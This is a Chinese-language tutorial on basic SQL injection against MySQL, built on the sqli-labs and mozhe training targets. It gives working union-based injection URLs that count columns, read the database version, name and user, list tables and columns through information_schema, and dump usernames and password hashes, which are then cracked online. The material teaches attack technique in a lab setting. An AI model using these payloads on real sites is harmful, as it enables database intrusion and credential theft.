WEB漏洞—SQL注入之简要SQL注入

目录

数据库类型—Mysql

SQL注入安全测试中危害

SQL注入产生原理分析

MYSQL一些语句演示:

SQL产生条件:

简要SQL注入习题:

搭建第一个SQL注入学习靶场环境

MYSQL注入—xlaodl

MYSQL数据库

数据库详细了解

小知识:

如何判断注入点?

一、老办法:

二、最舒服的办法:(操作窗口执行)

union联合注入操作流程

判断注入

一、猜解列名数量(字段数) order by 错误与正确数值

二、猜解准备

三、信息收集:

知识点:


数据库类型—Mysql

SQL注入安全测试中危害

SQL直接去对数据库中的数据进行操作(查询,更新,删除)

SQL注入不同注入点是有条件的(权限)

  • ①.危害到数据库里边的数据
  • ②.直接危害到网站的权限(需要满足条件)

SQL注入产生原理分析

简易代码分析SQL注入原理





Less-2 **Error Based- Intiger**




    


Welcome    Dhakkan
"; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; echo "
"; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value"; } ?>



当你访问的时候id为1,则对应代码里边的id也为1,当代码里边的id对应等于X时,访问时候的id也对应等于X

WEB漏洞—SQL注入之简要SQL注入_第1张图片

WEB漏洞—SQL注入之简要SQL注入_第2张图片

WEB漏洞—SQL注入之简要SQL注入_第3张图片

注意:第一到第四步在处理得当的时候不会出现注入点,处理不得到当候会出现注入点

SQL注入就是注入SQL语句。往SQL语句中注入。SQL语句被更改或者改写会打扰一些操作

MYSQL一些语句演示:

一、查询一下email邮箱及目录

WEB漏洞—SQL注入之简要SQL注入_第4张图片

二、在查询语句中注入其他SQL语句就会查询到其他表的数据(如果其他表如果是 管理员,就有可能查到管理员的账户密码)

WEB漏洞—SQL注入之简要SQL注入_第5张图片

http://localhost/sqli-labs-master/Less-2/index.php?id=2//访问这个地址的时候就是图三(网页)
SELECT * FROM users WHERE id=2 LIMIT 0,1//执行语句的时候就是图三(命令窗口)
 
http://localhost/sqli-labs-master/Less-2/index.php?id=-2
SELECT * FROM users WHERE id=-2 LIMIT 0,1

http://localhost/sqli-labs-master/Less-2/index.php?id=-2 union select 1,email_id,3 from emails//访问这个地址的时候就是图一
SELECT * FROM users WHERE id=-2 union select 1,email_id,3 from emails LIMIT 0,1;//执行语句的时候就是图二

图一:

WEB漏洞—SQL注入之简要SQL注入_第6张图片

图二:

图三:

WEB漏洞—SQL注入之简要SQL注入_第7张图片

注入:其实就是通过参数传递一个数据过去(例如上边的2),数据拼接到SQL语句中,然后就可以依据此(跟2一起)拼接一些恶意的SQL语句,来实行一些恶意SQL语句的执行效果

SQL注入:通过就是将一些查询的SQL语句通过参数传递到原有的SQL语句中,实现自定义的一个查询

SQL产生条件:

①.SQL语句在定义时候有变量

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

②.SQL语句中存在可控变量

$id=$_GET['id'];

③.可控变量可以代入数据库查询

④.变量过滤不严谨或者没有过滤

简要SQL注入习题:

1.可能存在注入编号选项有哪几个?(1,2,3,4)

a.www.xiaodi8.com/index.php?id=8
b.www.xiaodi8.com/?id=10
c.www.xiaodi8.com/?id=10&x=1
d.www.xiaodi8.com/index.php

解析:

a:存在参数

b:没写index.php并不代表没有,只是默认

c:只是多了一个参数,前边注入,后边注入选择不同

d:第四个有可能是post注入.

2.参数x有注入,以下哪个注入测试正确?(b,c)

a.www.xiaodi.com/news.php?y=1 and l=1&x=2
b.www.xiaodi.com/news.php?y=1&x=2 and l=1
c.www.xiaodi.com/news.php?y=1 and 1=1&x=2 and l=1
d.www.xiaodi.com/news.php?xx=1 and 1=1&xxx=2 and l=1

解析:X有注入,所以注入语句应该写在x后边;?的意思参数,&的意思是连接;l=1相当于是注入语句

3.http://www.krismile.net/index.php?id=52&page=1 如果id参数存在注入,请实现:

http://www.krismile.net/index.php?id=52 and l=1 &page=1
http://www.krismile.net/index.php?page=1 &id=52 and l=1

搭建第一个SQL注入学习靶场环境

Sqlilabs注入靶场搭建简要使用. 注意:phpstudy的php版本;

学习第一个数据库MYSQL简要注入;

MYSQL注入—xlaodl

WEB漏洞—SQL注入之简要SQL注入_第8张图片

数据库用户不是电脑的管理员用户是数据库的管理用户,专门管理数据库;

MYSQL数据库

数据库A=网站A(1)

表名(2)

列名(3)

数据(4)

获取数据(1-2-3-4)

数据库B=网站B

...........

数据库C=网站C

.............

数据库详细了解

WEB漏洞—SQL注入之简要SQL注入_第9张图片

一个数据库代表一个网站

WEB漏洞—SQL注入之简要SQL注入_第10张图片

use 数据库名//使用数据库
show tables//查询数据库的所有表名

WEB漏洞—SQL注入之简要SQL注入_第11张图片

select * from rj2hbr7i0n;//查看数据库中列名,数据

小知识:

如何判断注入点?

一、老办法:

and l=1 页面正常

and l=1 页面错误

可能存在注入点;

二、最舒服的办法:(操作窗口执行)

WEB漏洞—SQL注入之简要SQL注入_第12张图片

注:404错误——跳转(网站对输入的东西有检测,大部分没有漏洞)

union联合注入操作流程

演示网站:

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

判断注入

一、猜解列名数量(字段数) order by 错误与正确数值

WEB漏洞—SQL注入之简要SQL注入_第13张图片

WEB漏洞—SQL注入之简要SQL注入_第14张图片

http://124.70.22.208:48857/new_list.php?id=1 order by 4//网站访问正常 

http://124.70.22.208:48857/new_list.php?id=1 order by 5//网站访问正常

二、猜解准备

http://124.70.22.208:48857/new_list.php?id=1%20union%20select%201,2,3,4//网站访问正常

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,2,3,4//网站访问错误,发现错误显示的是2,3

WEB漏洞—SQL注入之简要SQL注入_第15张图片

WEB漏洞—SQL注入之简要SQL注入_第16张图片

三、信息收集:

  • 数据库版本:version(): 5.7.22-0ubuntu0.16.04.1(5.0以上高版本,5.0以下低版本)
  • 数据库名字:databases(): mozhe_Discuz_StormGroup
  • 数据库用户:user(): root@localhost
  • 操作系用: @@version_compile_os:Linux

1.哪个数字报错,你就在那个数字查询

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,database(),version(),4查询数据库名字,版本
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4//查询数据库用户名,操作系统

WEB漏洞—SQL注入之简要SQL注入_第17张图片

WEB漏洞—SQL注入之简要SQL注入_第18张图片

2.查询指定数据库名mozhe_Discuz_StormGroup下的表明信息

http://124.70.22.208:48857/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

WEB漏洞—SQL注入之简要SQL注入_第19张图片

3.查询指定表名StormGroup_member下的表明信息

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27

WEB漏洞—SQL注入之简要SQL注入_第20张图片

4.查询指定数据

http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member

WEB漏洞—SQL注入之简要SQL注入_第21张图片

5.在对获取到的密码进行解密:

https://www.cmd5.com/    //dsan13

知识点:

1.在MYSQL5.0版本以上mysql存在一个自带数据库名为informtion_schema,他是一个存储记录所有数据库名,表明,列名的数据库,也相当于可以通过查询他获取指定数据库下的表名列名信息.

2.数据库中符号“.”代表下一级,如xiaodi.user表示数据库下的user表名。

3.一些代码含义:

  • information_schema.tables:记录所有表名信息的表
  • information_shcema.columns:记录所有列名信息的表
  • table_name:表名 group_concat(table_name)//查询所有表名
  • column_name:列名
  • table_schema:数据库名

你可能感兴趣的:(WEB漏洞—SQL注入,前端,sql,xhtml,web,数据库)